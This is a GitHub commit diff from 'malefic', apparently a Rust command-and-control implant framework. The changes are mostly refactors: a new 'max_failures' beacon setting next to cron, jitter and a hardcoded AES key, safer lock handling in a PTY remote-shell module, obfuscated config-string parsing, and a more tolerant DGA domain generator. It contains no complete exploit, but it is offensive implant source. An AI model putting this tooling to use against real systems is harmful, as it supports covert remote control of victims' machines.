Skip to content

Commit ba927b3

Browse files
committed
fix: misc
1 parent ec86c9e commit ba927b3

58 files changed

Lines changed: 909 additions & 1561 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

Cargo.lock

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

implant.yaml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,8 @@ basic:
66
cron: "*/5 * * * * * *" # cron express
77
jitter: 0.2
88
keepalive: false
9-
retry: 10 # 每个目标允许的连续失败次数
9+
retry: 3 # 每个目标注册重试次数
10+
max_failures: 10 # 每个目标允许的连续会话失败次数
1011
max_cycles: -1 # 最大循环次数,-1 表示无限循环
1112
encryption: aes
1213
key: maliceofinternal

malefic-3rd-template/malefic-3rd-ffi/src/lib.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ pub use std::ffi::{c_char, c_int, c_uint, CStr};
1111

1212
// ── Runtime re-exports (used by all module wrappers) ────────────────────────
1313

14-
pub use malefic_runtime::module_sdk::{RtModule, RtChannel, RtResult, RtChannelError};
14+
pub use malefic_runtime::rtmodule::{RtModule, RtChannel, RtResult, RtChannelError};
1515
pub use malefic_proto::proto::implantpb::spite::Body;
1616
pub use malefic_proto::proto::modulepb::{Request, Response};
1717

malefic-3rd-template/src/lib.rs

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
66
use malefic_runtime::abi::{RtBuffer, RtModuleHandle, RtStatus, RT_ABI_VERSION};
77
use malefic_runtime::abi::{RtSendFn, RtRecvFn, RtTryRecvFn, RtHostFreeFn};
8-
use malefic_runtime::module_sdk::{RtModule, RtChannel, ErasedRtModule, RtModuleDescriptor};
8+
use malefic_runtime::rtmodule::{RtModule, RtChannel, ErasedRtModule, RtModuleDescriptor};
99
use malefic_runtime::codec;
1010

1111
// ── Registry ────────────────────────────────────────────────────────────────
@@ -142,11 +142,11 @@ pub extern "C" fn rt_module_run(
142142
};
143143

144144
let (status, buf) = match module.run(task_id, &channel) {
145-
malefic_runtime::module_sdk::RtResult::Done(body) => {
145+
malefic_runtime::rtmodule::RtResult::Done(body) => {
146146
let bytes = codec::encode_body(task_id, body);
147147
(RtStatus::Done, RtBuffer::from_vec(bytes))
148148
}
149-
malefic_runtime::module_sdk::RtResult::Error(msg) => {
149+
malefic_runtime::rtmodule::RtResult::Error(msg) => {
150150
(RtStatus::Error, RtBuffer::from_vec(msg.into_bytes()))
151151
}
152152
};

malefic-3rd/src/pty/mod.rs

Lines changed: 17 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,12 @@ impl std::fmt::Debug for PtySession {
8080
}
8181

8282
impl Pty {
83+
fn sessions() -> Result<std::sync::MutexGuard<'static, HashMap<String, PtySession>>, String> {
84+
PTY_SESSIONS
85+
.lock()
86+
.map_err(|e| format!("PTY sessions lock poisoned: {}", e))
87+
}
88+
8389
fn error_response(id: u32, session_id: &str, error: String, active: bool) -> ModuleResult {
8490
let response = PtyResponse {
8591
session_id: session_id.to_string(),
@@ -115,7 +121,7 @@ impl Pty {
115121
}
116122

117123
fn check_session_status(session_id: &str) -> Result<bool, String> {
118-
let sessions = PTY_SESSIONS.lock().unwrap();
124+
let sessions = Self::sessions()?;
119125
let session = sessions
120126
.get(session_id)
121127
.ok_or_else(|| format!("PTY session {} does not exist", session_id))?;
@@ -143,7 +149,7 @@ impl Pty {
143149
}
144150

145151
fn get_session_handles(session_id: &str) -> Result<SessionHandles, String> {
146-
let sessions = PTY_SESSIONS.lock().unwrap();
152+
let sessions = Self::sessions()?;
147153
let session = sessions
148154
.get(session_id)
149155
.ok_or_else(|| format!("PTY session {} does not exist", session_id))?;
@@ -375,7 +381,10 @@ impl Pty {
375381

376382
fn terminate_and_remove_session(session_id: &str) -> bool {
377383
let session = {
378-
let mut sessions = PTY_SESSIONS.lock().unwrap();
384+
let mut sessions = match PTY_SESSIONS.lock() {
385+
Ok(s) => s,
386+
Err(_) => return false,
387+
};
379388
sessions.remove(session_id)
380389
};
381390

@@ -519,7 +528,7 @@ impl Pty {
519528
};
520529

521530
{
522-
let sessions = PTY_SESSIONS.lock().unwrap();
531+
let sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
523532
if sessions.contains_key(&session_id) {
524533
return Self::error_response(
525534
id,
@@ -590,7 +599,7 @@ impl Pty {
590599
let output_receiver = Arc::new(Mutex::new(output_rx));
591600

592601
{
593-
let mut sessions = PTY_SESSIONS.lock().unwrap();
602+
let mut sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
594603
sessions.insert(
595604
session_id.clone(),
596605
PtySession {
@@ -756,7 +765,7 @@ impl Pty {
756765
};
757766

758767
{
759-
let sessions = PTY_SESSIONS.lock().unwrap();
768+
let sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
760769
if sessions.contains_key(&session_id) {
761770
return Self::error_response(
762771
id,
@@ -827,7 +836,7 @@ impl Pty {
827836
});
828837

829838
{
830-
let mut sessions = PTY_SESSIONS.lock().unwrap();
839+
let mut sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
831840
sessions.insert(
832841
session_id.clone(),
833842
PtySession {
@@ -1107,7 +1116,7 @@ impl Pty {
11071116

11081117
async fn list_sessions(&mut self, id: u32) -> ModuleResult {
11091118
let (sessions_info, active_sessions) = {
1110-
let sessions = PTY_SESSIONS.lock().unwrap();
1119+
let sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
11111120
if sessions.is_empty() {
11121121
("No active PTY sessions".to_string(), Vec::new())
11131122
} else {

malefic-crates/common/src/tinyserde.rs

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ extern crate alloc;
33
use alloc::collections::BTreeMap;
44
use alloc::string::{String, ToString};
55
use alloc::vec::Vec;
6-
use core::convert::{TryFrom, TryInto};
6+
use core::convert::TryFrom;
77
use core::fmt;
88

99
#[derive(Debug)]
@@ -242,11 +242,15 @@ impl<'a> Cursor<'a> {
242242
TRUE => Ok(Value::Bool(true)),
243243
INT => {
244244
let bytes = self.read_exact(8)?;
245-
Ok(Value::Int(i64::from_le_bytes(bytes.try_into().unwrap())))
245+
let mut value = [0u8; 8];
246+
value.copy_from_slice(bytes);
247+
Ok(Value::Int(i64::from_le_bytes(value)))
246248
}
247249
FLOAT => {
248250
let bytes = self.read_exact(8)?;
249-
Ok(Value::Float(f64::from_le_bytes(bytes.try_into().unwrap())))
251+
let mut value = [0u8; 8];
252+
value.copy_from_slice(bytes);
253+
Ok(Value::Float(f64::from_le_bytes(value)))
250254
}
251255
STR => {
252256
let len = self.read_varint()?;

malefic-crates/config/src/config.rs

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,7 @@ pub struct HttpRequestConfig {
6464
pub headers: HashMap<String, String>, // Contains all HTTP headers
6565
pub response_read_chunk_size: usize,
6666
pub response_retry_delay: Duration,
67+
pub flush_poll_interval: Duration,
6768
}
6869

6970
// ============= REM Configuration Structure =============
@@ -83,6 +84,7 @@ const DEFAULT_REM_CONNECT_TIMEOUT_FACTOR: u32 = 20;
8384

8485
const DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE: usize = 8 * 1024;
8586
const DEFAULT_HTTP_RESPONSE_RETRY_DELAY: Duration = Duration::from_millis(10);
87+
const DEFAULT_HTTP_FLUSH_POLL_INTERVAL: Duration = Duration::from_millis(100);
8688

8789
// ============= Common Configuration Structure =============
8890

@@ -201,6 +203,7 @@ impl HttpRequestConfig {
201203
headers,
202204
response_read_chunk_size: DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE,
203205
response_retry_delay: DEFAULT_HTTP_RESPONSE_RETRY_DELAY,
206+
flush_poll_interval: DEFAULT_HTTP_FLUSH_POLL_INTERVAL,
204207
}
205208
}
206209

malefic-crates/config/src/lib.rs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,7 @@ lazy_static! {
4444
jitter: 0.2f64,
4545
keepalive: false,
4646
retry: 10u32,
47+
max_failures: 10u32,
4748
max_cycles: -1i32,
4849
name: "malefic".to_string(),
4950
key: "maliceofinternal".to_string().into_bytes(),
@@ -92,6 +93,7 @@ lazy_static! {
9293
pub static ref KEEPALIVE: bool = RUNTIME_CONFIG.keepalive;
9394
// Target server fault tolerance configuration
9495
pub static ref RETRY: u32 = RUNTIME_CONFIG.retry;
96+
pub static ref MAX_FAILURES: u32 = RUNTIME_CONFIG.max_failures;
9597
pub static ref MAX_CYCLES: i32 = RUNTIME_CONFIG.max_cycles;
9698
// Encryption configuration
9799
pub static ref NAME: String = RUNTIME_CONFIG.name.clone();

malefic-crates/config/src/runtime.rs

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,7 @@ pub struct RuntimeConfig {
6262
pub jitter: f64,
6363
pub keepalive: bool,
6464
pub retry: u32,
65+
pub max_failures: u32,
6566
pub max_cycles: i32,
6667
pub name: String,
6768
pub key: Vec<u8>,
@@ -633,6 +634,7 @@ fn runtime_to_value(cfg: &RuntimeConfig) -> Value {
633634
map.insert("jitter".to_string(), Value::Float(cfg.jitter));
634635
map.insert("keepalive".to_string(), value_bool(cfg.keepalive));
635636
map.insert("retry".to_string(), value_int(cfg.retry as i64));
637+
map.insert("max_failures".to_string(), value_int(cfg.max_failures as i64));
636638
map.insert("max_cycles".to_string(), value_int(cfg.max_cycles as i64));
637639
map.insert("name".to_string(), value_str(&cfg.name));
638640
map.insert("key".to_string(), value_bytes(&cfg.key));
@@ -681,6 +683,13 @@ fn runtime_from_value(v: &Value) -> Result<RuntimeConfig, BlobError> {
681683
},
682684
keepalive: expect_bool(map_get(map, obfstr!("keepalive"))?, obfstr!("keepalive"))?,
683685
retry: expect_u32(map_get(map, obfstr!("retry"))?, obfstr!("retry"))?,
686+
max_failures: map_get(map, obfstr!("max_failures"))
687+
.ok()
688+
.and_then(|v| match v {
689+
Value::Int(i) => Some(*i as u32),
690+
_ => None,
691+
})
692+
.unwrap_or(10),
684693
max_cycles: expect_i32(map_get(map, obfstr!("max_cycles"))?, obfstr!("max_cycles"))?,
685694
name: expect_str(map_get(map, obfstr!("name"))?, obfstr!("name"))?,
686695
key: expect_bytes(map_get(map, obfstr!("key"))?, obfstr!("key"))?,
@@ -849,6 +858,7 @@ mod tests {
849858
jitter: 0.2,
850859
keepalive: true,
851860
retry: 3,
861+
max_failures: 10,
852862
max_cycles: -1,
853863
name: "demo".into(),
854864
key: b"demo-key".to_vec(),

malefic-crates/dga/src/generator.rs

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -44,9 +44,10 @@ impl DgaGenerator {
4444
let dgas = self.algorithm.generate();
4545
let mut server_configs = Vec::new();
4646
for dga in dgas {
47-
let template = self.find_template_for_domain(&dga.suffix).unwrap();
48-
let config = self.create_server_config(&dga, template);
49-
server_configs.push(config);
47+
if let Some(template) = self.find_template_for_domain(&dga.suffix) {
48+
let config = self.create_server_config(&dga, template);
49+
server_configs.push(config);
50+
}
5051
}
5152
server_configs
5253
}

0 commit comments

Comments
 (0)